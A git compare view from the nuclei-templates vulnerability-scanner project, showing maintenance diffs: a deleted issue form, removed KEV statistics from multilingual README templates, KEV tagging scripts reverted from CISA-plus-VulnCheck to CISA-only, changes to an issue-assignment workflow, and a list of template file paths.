Compare commits

..
Author SHA1 Message Date
Prince Chaddha 09368d0195 Added CVE-2011-3192 2025-09-09 18:18:53 +08:00
10135 changed files with 48632 additions and 81599 deletions

No files matched your search

-73
View File
@@ -1,73 +0,0 @@
name: Enhancement Request
description: Suggest an improvement or enhancement for nuclei-templates.
title: "[ENHANCEMENT] ..."
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to suggest an enhancement!
:warning: **Issues missing important information may be closed without further investigation.**
- type: checkboxes
attributes:
label: Is there an existing issue for this?
description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
options:
- label: I have searched the existing issues and discussions.
required: true
- type: textarea
attributes:
label: Enhancement Description
description: |
Provide a clear and concise description of the enhancement you're proposing.
What would you like to see improved or added?
placeholder: |
A clear description of what you want to happen...
validations:
required: true
- type: textarea
attributes:
label: Use Case / Problem
description: |
Describe the use case or problem that this enhancement would solve.
Why is this enhancement needed? What problem does it address?
placeholder: |
Currently, when...
This causes...
It would be better if...
validations:
required: true
- type: textarea
attributes:
label: Proposed Solution
description: |
Describe your proposed solution or implementation approach.
How do you envision this enhancement working?
placeholder: |
The enhancement could work by...
It should include...
validations:
required: false
- type: textarea
attributes:
label: Alternatives Considered
description: |
Have you considered any alternative solutions or workarounds?
placeholder: |
Alternative approach 1...
Alternative approach 2...
validations:
required: false
- type: textarea
attributes:
label: Additional Context
description: |
Add any other context, screenshots, examples, or references about the enhancement here.
Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
validations:
required: false
+1 -15
View File
@@ -36,21 +36,7 @@ An overview of the nuclei template project, including statistics on unique tags,
<table>
<tr>
<td>
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
| **KEV Source** | **Templates** | **Description** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
---
<td>
{get_top10()}
+1 -15
View File
@@ -42,21 +42,7 @@ Nuclei 模板
<table>
<tr>
<td>
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
| **KEV 来源** | **模板数量** | **描述** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
---
<td>
{get_top10()}
+1 -15
View File
@@ -37,21 +37,7 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
<table>
<tr>
<td>
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
| **KEV ソース** | **テンプレート数** | **説明** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
---
<td>
{get_top10()}
+1 -15
View File
@@ -39,21 +39,7 @@ Nuclei 템플릿
<table>
<tr>
<td>
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
| **KEV 소스** | **템플릿 수** | **설명** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
---
<td>
{get_top10()}
-119
View File
@@ -1,119 +0,0 @@
#!/usr/bin/env python3
"""
Count KEV and vKEV templates for README statistics
This script counts the number of templates with 'kev' and 'vkev' tags
and outputs the statistics in a format suitable for the README.
"""
import re
import sys
from pathlib import Path
from typing import Dict, Set
def has_tag_in_file(file_path: Path, tag: str) -> bool:
"""Check if a template file has a specific tag."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Look for tags field and check if tag is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for tag as a standalone tag (not part of another word)
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
return True
except Exception as e:
print(f"Error reading {file_path}: {e}", file=sys.stderr)
return False
def count_kev_templates(root_dir: str) -> Dict[str, int]:
"""Count templates with KEV and vKEV tags."""
root_path = Path(root_dir)
# Find all YAML template files
patterns = [
"**/*.yaml",
"**/*.yml"
]
all_files = set()
for pattern in patterns:
all_files.update(root_path.glob(pattern))
# Filter out non-template files
template_files = [
f for f in all_files
if '/workflows/' not in str(f)
and '/.github/' not in str(f)
and '/profiles/' not in str(f)
]
kev_count = 0
vkev_count = 0
both_count = 0
kev_only_count = 0
vkev_only_count = 0
kev_files = set()
vkev_files = set()
for template_file in template_files:
has_kev = has_tag_in_file(template_file, 'kev')
has_vkev = has_tag_in_file(template_file, 'vkev')
if has_kev:
kev_count += 1
kev_files.add(template_file)
if has_vkev:
vkev_count += 1
vkev_files.add(template_file)
if has_kev and has_vkev:
both_count += 1
elif has_kev:
kev_only_count += 1
elif has_vkev:
vkev_only_count += 1
return {
'kev_total': kev_count,
'vkev_total': vkev_count,
'both': both_count,
'kev_only': kev_only_count,
'vkev_only': vkev_only_count,
'total_templates': len(template_files)
}
def main():
"""Main entry point."""
root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
stats = count_kev_templates(root_dir)
# Output in a format that can be easily parsed
print(f"KEV_TOTAL={stats['kev_total']}")
print(f"VKEV_TOTAL={stats['vkev_total']}")
print(f"BOTH={stats['both']}")
print(f"KEV_ONLY={stats['kev_only']}")
print(f"VKEV_ONLY={stats['vkev_only']}")
print(f"TOTAL_TEMPLATES={stats['total_templates']}")
# Also print human-readable summary to stderr for logging
print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
print(f"Templates in both: {stats['both']}", file=sys.stderr)
print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
if __name__ == "__main__":
main()
+94 -202
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python3
"""
Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
KEV Tagging Updater for Nuclei Templates
This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
1. Fetching the latest CISA KEV catalog
2. Fetching VulnCheck's KEV data (if API key available)
3. Adding 'kev' tag for CISA KEV CVEs
4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
2. Checking each CVE template against the KEV list
3. Adding 'kev' tag to the tags field for KEV CVEs
"""
import os
@@ -16,39 +15,35 @@ import time
import json
import requests
from pathlib import Path
from typing import Set, Optional, Dict, Tuple
from typing import Set, Optional
# Configuration
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
TIMEOUT = 30
MAX_RETRIES = 3
VULNCHECK_PAGE_SIZE = 100
class EnhancedKEVUpdater:
class KEVUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
self.cisa_kev_cves = set()
self.vulncheck_kev_cves = set()
self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
def find_cve_templates(self) -> list[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
@@ -56,7 +51,7 @@ class EnhancedKEVUpdater:
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
@@ -66,290 +61,187 @@ class EnhancedKEVUpdater:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_cisa_kev_data(self) -> Set[str]:
"""Fetch CISA KEV catalog and return set of CVE IDs."""
kev_cves = set()
for attempt in range(MAX_RETRIES):
try:
print("Fetching CISA KEV catalog...")
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'vulnerabilities' in data:
for vuln in data['vulnerabilities']:
if 'cveID' in vuln:
kev_cves.add(vuln['cveID'].upper())
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
break
else:
print("Invalid CISA KEV data format")
except requests.RequestException as e:
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print("Failed to fetch CISA KEV data")
else:
time.sleep(2 * (attempt + 1))
except Exception as e:
print(f"Unexpected error fetching CISA KEV: {e}")
break
return kev_cves
def fetch_vulncheck_kev_data(self) -> Set[str]:
"""Fetch VulnCheck KEV catalog and return set of CVE IDs."""
if not self.vulncheck_api_key:
print("VulnCheck API key not available, skipping vKEV data fetch")
return set()
vkev_cves = set()
page = 1
total_pages = None
pages_fetched = 0
print("Fetching VulnCheck KEV catalog...")
while True:
for attempt in range(MAX_RETRIES):
try:
headers = {
'Authorization': f'Bearer {self.vulncheck_api_key}',
'Accept': 'application/json'
}
params = {
'limit': VULNCHECK_PAGE_SIZE,
'page': page
}
response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'data' in data and data['data']:
for entry in data['data']:
if 'cve' in entry and entry['cve']:
for cve_id in entry['cve']:
if cve_id and cve_id.startswith('CVE-'):
vkev_cves.add(cve_id.upper())
# Check pagination info
meta = data.get('_meta', {})
total_pages = meta.get('total_pages', 0)
current_page = meta.get('page', page)
pages_fetched += 1
print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
# Check if we've reached the last page
if current_page >= total_pages:
print(f"Completed fetching all {pages_fetched} pages")
return vkev_cves
# Rate limiting: small delay between requests to avoid hitting API limits
if pages_fetched % 10 == 0: # Every 10 pages, longer delay
print(f"Pausing for rate limiting after {pages_fetched} pages...")
time.sleep(2)
else:
time.sleep(0.5) # Small delay between requests
page += 1
break # Break retry loop, continue to next page
else:
print("No more VulnCheck KEV data")
return vkev_cves
except requests.RequestException as e:
print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch VulnCheck KEV data for page {page}")
return vkev_cves # Return what we have so far
else:
# Exponential backoff with rate limiting consideration
delay = min(10, 2 * (attempt + 1))
print(f"Retrying after {delay} seconds...")
time.sleep(delay)
except Exception as e:
print(f"Unexpected error fetching VulnCheck KEV: {e}")
return vkev_cves # Return what we have so far
print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
return vkev_cves
def has_tag(self, content: str, tag: str) -> bool:
"""Check if template already has specific tag in tags field."""
# Look for tags field and check if tag is present
def has_kev_tag(self, content: str) -> bool:
"""Check if template already has KEV tag in tags field."""
# Look for tags field and check if kev is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for tag as a standalone tag (not part of another word)
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
# Check for kev as a standalone tag (not part of another word)
if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
return True
return False
def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
"""Add tag to the tags field. Returns (updated_content, was_updated)."""
if self.has_tag(content, tag):
def add_kev_tag(self, content: str) -> tuple[str, bool]:
"""Add kev tag to the tags field. Returns (updated_content, was_updated)."""
if self.has_kev_tag(content):
return content, False
# Find the tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2).rstrip()
# Add tag at the end
new_tags = existing_tags + f',{tag}'
# Add kev tag at the end
new_tags = existing_tags + ',kev'
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
else:
print(f"Warning: No tags field found to add {tag} tag")
print("Warning: No tags field found to add kev tag")
return content, False
def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
"""Remove tag from the tags field. Returns (updated_content, was_updated)."""
if not self.has_tag(content, tag):
def remove_kev_tag(self, content: str) -> tuple[str, bool]:
"""Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
if not self.has_kev_tag(content):
return content, False
# Find and update tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2)
# Remove tag in various positions
# Remove kev tag in various positions
new_tags = existing_tags
# Remove ,tag or tag, patterns
new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags) # tag is only tag
new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags) # tag is first tag
# Remove ,kev or kev, patterns
new_tags = re.sub(r',\s*kev\b', '', new_tags)
new_tags = re.sub(r'\bkev\s*,', '', new_tags)
new_tags = re.sub(r'^\s*kev\s*$', '', new_tags) # kev is only tag
new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags) # kev is first tag
if new_tags != existing_tags:
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
return content, False
def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
"""Update a template file with KEV and vKEV tags."""
def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
"""Update a template file with KEV tags."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
original_content = content
updated = False
# Handle CISA KEV tag
if is_cisa_kev:
if is_kev:
# Add kev tag if missing
content, tag_added = self.add_tag(content, 'kev')
content, tag_added = self.add_kev_tag(content)
if tag_added:
print(f"Added kev tag to {file_path.name}")
updated = True
else:
# Remove kev tag if present but CVE is not in CISA KEV catalog
if self.has_tag(content, 'kev'):
# Remove kev tag if present but CVE is not in KEV catalog
if self.has_kev_tag(content):
# Only remove if we're confident about our KEV data
if len(self.cisa_kev_cves) > 1000: # Sanity check
content, tag_removed = self.remove_tag(content, 'kev')
content, tag_removed = self.remove_kev_tag(content)
if tag_removed:
print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
updated = True
else:
print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
# Handle VulnCheck KEV tag
if is_vulncheck_kev:
# Add vkev tag if missing
content, tag_added = self.add_tag(content, 'vkev')
if tag_added:
print(f"Added vkev tag to {file_path.name}")
updated = True
else:
# Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100: # Sanity check
content, tag_removed = self.remove_tag(content, 'vkev')
if tag_removed:
print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
updated = True
print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
# Write updated content if changes were made
if updated:
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
return True
return False
except Exception as e:
print(f"Error updating {file_path}: {e}")
self.error_count += 1
return False
def run(self):
"""Main execution function."""
print("Starting enhanced KEV/vKEV tagging update...")
print("Starting KEV tagging update...")
# Fetch KEV data
self.cisa_kev_cves = self.fetch_cisa_kev_data()
self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
print("No KEV data available, exiting")
if not self.cisa_kev_cves:
print("No CISA KEV data available, exiting")
return
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Process templates
cisa_kev_found = 0
vulncheck_kev_found = 0
both_kev_found = 0
kev_found = 0
non_kev_with_tag = 0
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
is_cisa_kev = cve_id in self.cisa_kev_cves
is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
if is_cisa_kev:
cisa_kev_found += 1
if is_vulncheck_kev:
vulncheck_kev_found += 1
if is_cisa_kev and is_vulncheck_kev:
both_kev_found += 1
if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
is_kev = cve_id in self.cisa_kev_cves
if is_kev:
kev_found += 1
if self.update_template_with_kev(file_path, cve_id, is_kev):
self.updated_count += 1
# Track non-KEV CVEs that have kev tags for reporting
if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
non_kev_with_tag += 1
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"\nEnhanced KEV/vKEV update complete!")
print(f"\nKEV update complete!")
print(f"Templates updated: {self.updated_count}")
print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
print(f"KEV CVEs found in templates: {kev_found}")
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
print(f"Errors: {self.error_count}")
def main():
@@ -358,8 +250,8 @@ def main():
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EnhancedKEVUpdater(root_dir)
updater = KEVUpdater(root_dir)
updater.run()
if __name__ == "__main__":
-31
View File
@@ -1,7 +1,6 @@
#!/usr/bin/env python3
import glob
import subprocess
import re
def countTpl(path):
return len(glob.glob(path + "/*.*"))
@@ -14,38 +13,8 @@ def get_top10():
TOP10 = command(["cat", "TOP-10.md"])
return HEADER + TOP10 if len(TOP10) > 0 else ""
def get_kev_stats():
"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
try:
result = subprocess.run(
["python3", ".github/scripts/count-kev-stats.py"],
text=True,
capture_output=True,
timeout=120
)
# Parse the output
stats = {}
for line in result.stdout.strip().split('\n'):
if '=' in line:
key, value = line.split('=')
stats[key.lower()] = int(value)
return stats
except Exception as e:
print(f"Error getting KEV stats: {e}")
return {
'kev_total': 0,
'vkev_total': 0,
'both': 0,
'kev_only': 0,
'vkev_only': 0,
'total_templates': 0
}
if __name__ == "__main__":
version = command(["git", "describe", "--tags", "--abbrev=0"])
kev_stats = get_kev_stats()
template = eval(open(".github/scripts/README.tmpl", "r").read())
print(template)
+18 -156
View File
@@ -1,164 +1,26 @@
name: Auto-assign on open
name: 🤖 issue/pr assignment
on:
# pull_request:
# types: [opened]
# branches:
# - main
issues:
types: [opened, reopened]
# Use pull_request_target so the job has permissions on PRs from forks.
pull_request_target:
types: [opened, ready_for_review, reopened]
types: [opened]
permissions:
contents: read
issues: write
pull-requests: write
concurrency:
group: auto-assign-on-open
cancel-in-progress: false
env:
ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
jobs:
assign:
build:
permissions: write-all
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v8
- uses: actions/checkout@v5 # checkout the repository content
- uses: actions/setup-python@v6
with:
script: |
const ORG = context.repo.owner;
const REPO = context.repo.repo;
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
const reviewPool = new Set(toLowerAll(REVIEW_POOL));
const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
// Simple "least recent then fewest in lookback" picker
function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
const issueCounts = initMap(issuePool);
const prAssigneeCounts = initMap(reviewPool);
const prReviewerCounts = initMap(reviewPool);
const lastIssueAssign = new Map();
const lastPrAssignee = new Map();
const lastPrReviewer = new Map();
function pick(countsMap, lastMap, exclude=new Set()){
const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
if (!cands.length) return null;
cands.sort((a,b)=>{
const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
if (ca!==cb) return ca-cb;
const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
if (ta!==tb) return ta-tb;
return a.localeCompare(b);
});
return cands[0];
}
async function buildIssueStats(){
for await (const page of github.paginate.iterator(
github.rest.issues.listForRepo,
{ owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
)){
for (const it of page.data){
if (it.pull_request) continue;
const ts = new Date(it.created_at);
if (ts < new Date(sinceISO)) continue;
for (const a of (it.assignees||[])){
const l=a.login.toLowerCase();
if (issuePool.has(l)){
issueCounts.set(l,(issueCounts.get(l)||0)+1);
const lastTs = lastIssueAssign.get(l);
if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
}
}
}
}
}
async function buildPrStats(){
for await (const page of github.paginate.iterator(
github.rest.pulls.list,
{ owner: ORG, repo: REPO, state: 'all', per_page: 100 }
)){
for (const pr of page.data){
const ts = new Date(pr.created_at);
if (ts < new Date(sinceISO)) continue;
// Count all assignees (plural)
for (const a of (pr.assignees||[])){
const l = a.login.toLowerCase();
if (reviewPool.has(l)){
prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
const lastTs = lastPrAssignee.get(l);
if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
}
}
// Count all reviewers separately
for (const r of (pr.requested_reviewers||[])){
const l=r.login.toLowerCase();
if (reviewPool.has(l)){
prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
const lastTs = lastPrReviewer.get(l);
if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
}
}
}
}
}
// Build stats once per run (cheap enough for small repos)
await Promise.all([buildIssueStats(), buildPrStats()]);
// Determine context
if (context.eventName === 'issues') {
const issue = context.payload.issue;
if (issue.pull_request) return; // guard
if ((issue.assignees||[]).length>0) return;
const pickee = pick(issueCounts, lastIssueAssign);
if (!pickee) return;
await github.rest.issues.addAssignees({
owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
});
} else if (context.eventName === 'pull_request_target') {
const pr = context.payload.pull_request;
const prNum = pr.number;
const author = (pr.user?.login||"").toLowerCase();
const assignee = pr.assignee?.login?.toLowerCase();
// Ensure one assignee (use assignee counts only)
let finalAssignee = assignee;
if (!finalAssignee) {
const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
if (a) {
await github.rest.issues.addAssignees({
owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
});
finalAssignee = a;
}
}
// One reviewer, not the author, not the assignee (use reviewer counts only)
const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
if (already.size === 0 && !pr.draft) {
const exclude = new Set([author, finalAssignee].filter(Boolean));
const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
if (reviewer) {
await github.rest.pulls.requestReviewers({
owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
});
}
}
}
python-version: '3.10' # install the python version needed
- run: pip install requests
# - if: github.event_name == 'pull_request'
# run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
- if: github.event_name == 'issues'
run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
+4 -4
View File
@@ -1,4 +1,4 @@
name: 📋 KEV & vKEV Tag Update
name: 📋 KEV Tag Update
on:
schedule:
@@ -23,10 +23,10 @@ jobs:
run: |
pip install requests pyyaml
- name: Update KEV and vKEV tags
- name: Update KEV tags
run: python .github/scripts/update-kev.py
env:
# VulnCheck API key for enhanced vKEV data
# Optional: Add VulnCheck API key if available
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
- name: Check for changes
@@ -47,7 +47,7 @@ jobs:
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update KEV and vKEV tags and metadata 🤖'
message: 'chore: update KEV tags and metadata 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
+1 -1
View File
@@ -2,7 +2,7 @@ name: 📝 Readme Update
on:
workflow_run:
workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
workflows: ["🗒 Templates Stats"]
types:
- completed
workflow_dispatch:
+1 -1
View File
@@ -43,7 +43,7 @@ jobs:
- name: Set up Go
uses: actions/setup-go@v6
with:
go-version: '1.24'
go-version: '1.21'
- name: Install Nuclei
run: |
+28 -52
View File
@@ -1,52 +1,28 @@
dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml
file/malware/shai-hulud-supply-chain.yaml
headless/cves/2025/CVE-2025-7901.yaml
http/cves/2017/CVE-2017-14725.yaml
http/cves/2017/CVE-2017-17092.yaml
http/cves/2017/CVE-2017-5983.yaml
http/cves/2018/CVE-2018-13317.yaml
http/cves/2019/CVE-2019-19822.yaml
http/cves/2019/CVE-2019-19823.yaml
http/cves/2019/CVE-2019-19825.yaml
http/cves/2021/CVE-2021-34427.yaml
http/cves/2022/CVE-2022-29081.yaml
http/cves/2023/CVE-2021-4449.yaml
http/cves/2024/CVE-2024-20404.yaml
http/cves/2024/CVE-2024-53995.yaml
http/cves/2025/CVE-2025-11700.yaml
http/cves/2025/CVE-2025-11833.yaml
http/cves/2025/CVE-2025-12055.yaml
http/cves/2025/CVE-2025-27915.yaml
http/cves/2025/CVE-2025-49706.yaml
http/cves/2025/CVE-2025-55523.yaml
http/cves/2025/CVE-2025-61757.yaml
http/cves/2025/CVE-2025-64525.yaml
http/cves/2025/CVE-2025-64764.yaml
http/cves/2025/CVE-2025-9316.yaml
http/default-logins/traggo-default-login.yaml
http/default-logins/vtigercrm-default-login.yaml
http/exposures/files/vtigercrm-data-exposed.yaml
http/miscellaneous/crypto-address-detect.yaml
http/misconfiguration/aem/aem-anonymous-write.yaml
http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml
http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml
http/misconfiguration/nginx/nginx-status-403-bypass.yaml
http/misconfiguration/unauth-akhq-dashboard.yaml
http/misconfiguration/unauth-hawkeye-dashboard.yaml
http/misconfiguration/unauth-kafka-config-editor.yaml
http/technologies/agent-zero-detect.yaml
http/technologies/cisco-finesse-detect.yaml
http/technologies/microsoft/sharepoint-web-services-discovery.yaml
http/technologies/nostromo-detect.yaml
http/technologies/odoo-detect.yaml
http/technologies/traggo-server-detect.yaml
http/technologies/vtigercrm-detect.yaml
http/technologies/winstone-detect.yaml
http/vulnerabilities/wordpress/wp-security-hidden-login-exposure.yaml
